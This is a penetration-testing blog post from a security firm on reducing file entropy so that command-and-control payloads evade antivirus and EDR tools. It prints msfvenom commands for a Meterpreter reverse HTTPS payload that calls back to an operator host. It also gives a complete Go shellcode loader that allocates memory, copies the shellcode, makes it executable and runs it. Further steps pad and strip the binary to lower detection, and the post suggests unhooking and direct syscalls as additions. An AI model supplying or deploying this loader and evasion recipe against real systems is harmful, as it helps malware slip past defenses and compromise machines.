How to Use Entropy in Penetration Testing
If you’ve ever created payloads for different pen testing or red team projects, you might have run into the problem that comes after bypassing antivirus/endpoint detection and response (AV/EDRs)—after successfully circumventing these, the code and techniques used only works for a few weeks or months before getting flagged as malicious.
This has become a challenge for our very experienced penetration test team as well, which set us on the search for a solution. As this is a common issue, there’s been a lot of research and blogs on different bypass techniques, but there was one on file entropy that stood out. We’re used to looking at the entropy of firmware to help determine if it’s encrypted or not, but we’ve never considered the use with regard to C2 payloads. As it turns out, entropy can be very handy in these scenarios where bypassing is necessary.
In this article, we’ll explain how. To start, we’ll describe what entropy is and then we’ll go into different ways you can reduce the entropy score. Reducing the payload entropy will not automatically bypass security tools, but we’ve proven it can be a helpful attribute to work with when you have limited options.
What is Entropy?
According to Wikipedia, entropy is "...the average level of 'information', 'surprise', or 'uncertainty' inherent to the variable's possible outcomes." In other words, entropy is a measure of randomness of data in the specified file.
In security, most people use Shannon Entropy—a specific algorithm that returns a value between 0 and 8. The higher the number, the more random the data, and many times, a higher value means that the data is either packed or encrypted.
To help determine if a file is malicious or not, different security products may calculate its entropy. Practical Security Analytics wrote about this—they analyzed the entropy of around 500k Windows executable files to verify how effective this analysis is in distinguishing malicious files from legitimate files. According to their findings, files with an entropy above 7.2 tended to be malicious.
How to Check Entropy
To understand how entropy can help in security, you need to know how to check it. On Linux and macOS machines, you can use the "ent" program. We checked “bash,” and as you can see from the output below, it has an entropy of around 6.
$ ent /bin/bash Entropy = 6.159561 bits per byte. |
More details:
- Optimum compression would reduce the size of this 1230360-byte file by 23%.
- Chi square distribution for 1230360 samples is 18260505.61 and randomly would exceed this value less than 0.01 percent of the time.
- The arithmetic mean value of data bytes is 84.4088 (127.5 = random).
- Monte Carlo value for Pi is 3.433473130 (error 9.29%).
- Serial correlation coefficient is 0.409743 (totally uncorrelated = 0.0).
To make it easier to check the entropy without all the additional details, we created a simple program:
$ ./shannon -file /bin/bash 6.159560931054298 |
How to Reduce Entropy in Payloads
To try and get the entropy as low as possible, we tried a few different things. First, we generated a stageless Metasploit executable using the command below on different malware samples:
$ msfvenom -p windows/x64/meterpreter_reverse_https LHOST=10.10.10.5 LPORT=443 -e x86/shikata_ga_nai -f exe -o msf.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 201849 (iteration=0) x86/shikata_ga_nai chosen with final size 201849 Payload size: 201849 bytes Final size of exe file: 208384 bytes Saved as: msf.exe |
But that gave us entropy at almost at the highest possible number, which would definitely be flagged by security scanners.
$ ./shannon -file msf.exe 7.924424214044725 |
For take two, we used Metasploit to generate shellcode instead of an executable. In doing this, we then created our own loader that injected and executed the shellcode.
$ msfvenom -p windows/x64/meterpreter_reverse_https LHOST=10.10.10.5 LPORT=443 -e x86/shikata_ga_nai -f raw -o payload.bin [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 201849 (iteration=0) x86/shikata_ga_nai chosen with final size 201849 Payload size: 201849 bytes Saved as: payload.bin |
But the shellcode entropy was even higher than the executable.
$ ./shannon -file payload.bin 7.986056713327999 |
At this point, we created a loader in Go that was compiled to a Windows executable to apply the shellcode, using Go's "embed" library to easily add the shellcode to the file. The code below uses different Windows API calls to:
- Allocate memory
- Copy the shellcode to the allocated memory
- Change the memory permissions
- Execute the shellcode
package main import ( "embed" "log" "unsafe" "golang.org/x/sys/windows" ) //go:embed payload.bin var f embed.FS func main() { // Get the embeded shellcode data, err := f.ReadFile("payload.bin") if err != nil { log.Fatal(err) } // Allocate memory using VirtualAlloc API call addr, err := windows.VirtualAlloc(uintptr(0), uintptr(len(data)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE) if err != nil { log.Fatal(err) } // Load ntdll to use RtlMoveMemory and // move the shellcode to the allocated memory ntdll := windows.NewLazySystemDLL("ntdll.dll") RtlMoveMemory := ntdll.NewProc("RtlMoveMemory") RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&data[0])), uintptr(len(data))) // Change the memory protections to read and execute var oldProtect uint32 err = windows.VirtualProtect(addr, uintptr(len(data)), windows.PAGE_EXECUTE_READ, &oldProtect) if err != nil { log.Fatal(err) } // Load kernel32 to use CreateThread and execute the shellcode kernel32 := windows.NewLazySystemDLL("kernel32.dll") CreateThread := kernel32.NewProc("CreateThread") thread, _, _ := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0) // Wait forever so the program doesn't exit windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF) } |
The commands below were used to compile the code into a Windows executable:
$ go mod init payload $ go mod tidy $ GOOS=windows GOARCH=amd64 go build -o payload.exe |
Finally, some success—the entropy of the payload dropped almost a whole point, though it still remained pretty high. More than likely, the drop was due to Go's runtime, which provides garbage collection, reflection, and many other features.
$ ./shannon -file payload.exe 7.015162704411349 |
So, we kept at it, trying to get the entropy lower. Since entropy is based on randomness, one way to reduce the score was to add normal text to the file. We did this by downloading the English dictionary and embedding it into the payload.
The commands below show how we downloaded the dictionary and displayed the number of words in the file:
$ wget http://www.gwicks.net/textlists/english3.zip $ unzip english3.zip $ ls -alh english3.txt -rw-r--r-- 1 root root 1.9M Oct 23 2012 english3.txt $ wc -l english3.txt 194433 english3.txt |
Using the same method to embed the shellcode in the file, we added one line of code to embed the dictionary:
//go:embed english3.txt //go:embed payload.raw var static embed.FS |
Just by including the text file, the entropy was dropped by about half a point.
$ ./shannon -file payload2.exe 6.551539452432076 |
Stripping the binary reduced the entropy even more:
$ GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -trimpath -o payload3.exe $ ./shannon -file payload3.exe 6.029571138204901 |
Just to see what would happen, we copied in the English dictionary multiple times:
$ cat english3.txt english3.txt english3.txt english3.txt english3.txt > englishbig.txt $ ls -alh englishbig.txt -rw-r--r-- 1 root root 9.1M Jul 17 01:23 englishbig.txt $ wc -l englishbig.txt 972165 englishbig.txt |
Once the code was updated to use the larger file, the entropy dropped another point.
$ ./shannon -file payload4.exe 5.0849956311902105 |
Want to Learn More?
Using these simple techniques, we were able to drop the entropy by almost three points (about 36%) while the payload still executed and ran normally. Now you too know how to reduce entropy, which should help you if you have trouble bypassing AV/EDR tools. For maximum helpfulness, we recommend combining this approach with additional techniques like:
- Shellcode encryption
- Delays and other normal functionality
- Unhooking
- Direct syscalls
To learn more ways to help simplify your penetration testing and security work, read our other content that delves into other helpful practices:
- How to Catch Mobile Traffic Escaping Burp
- Using Mind Maps in Application Security Testing
- How to Write a Burp Suite Extension
And, if this kind technical exploration intrigues you, please check out our current career opportunities. Our penetration test team is allotted 150 hours for personal development and encourages creative examination like this—we’re always looking for new faces to broaden our perspectives and help us better serve our clients.
About Clint Mueller
Clint Mueller is a Lead Penetration Tester with Schellman based in the St. Louis, Missouri area. Prior to joining Schellman in 2021, Clint worked as the Senior Red Team Manager for a large health care company. During this time, Clint performed a variety of security assessments and threat emulations based on adversary tactics, techniques, and procedures (TTP) to help improve the company’s monitoring and detection capabilities. Clint has over seven years of experience comprised of serving clients in various industries, including health care, telecommunications, and financial services. Clint is now focused primarily on offensive security assessments including internal and external network testing, phishing, and web application assessments for organizations across various industries.